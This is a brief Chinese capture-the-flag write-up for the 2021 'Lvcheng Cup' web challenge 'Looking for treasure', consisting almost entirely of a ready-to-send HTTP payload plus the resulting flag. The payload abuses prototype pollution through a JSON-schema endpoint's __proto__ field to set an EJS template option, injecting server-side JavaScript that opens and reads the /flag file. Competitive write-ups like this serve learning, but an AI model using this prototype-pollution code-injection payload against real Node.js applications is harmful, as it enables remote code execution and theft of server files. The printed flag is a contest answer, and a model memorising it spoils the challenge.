2021年“绿城杯”网络安全大赛-Web-Looking for treasure

2021年“绿城杯”网络安全大赛-Web-Looking for treasure

题目名称：Looking for treasure
题目内容：从中找到宝藏题目分值：200.0
题目难度：中等
相关附件：Looking for treasure的附件6.txt

解题思路：

1.原题直接附上payload

POST /validated/json-schema/validate
Content-Type: application/json
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}

2.拿到flag

DASCTF{443a3172111bb28cd26f6eae1a90ea1a}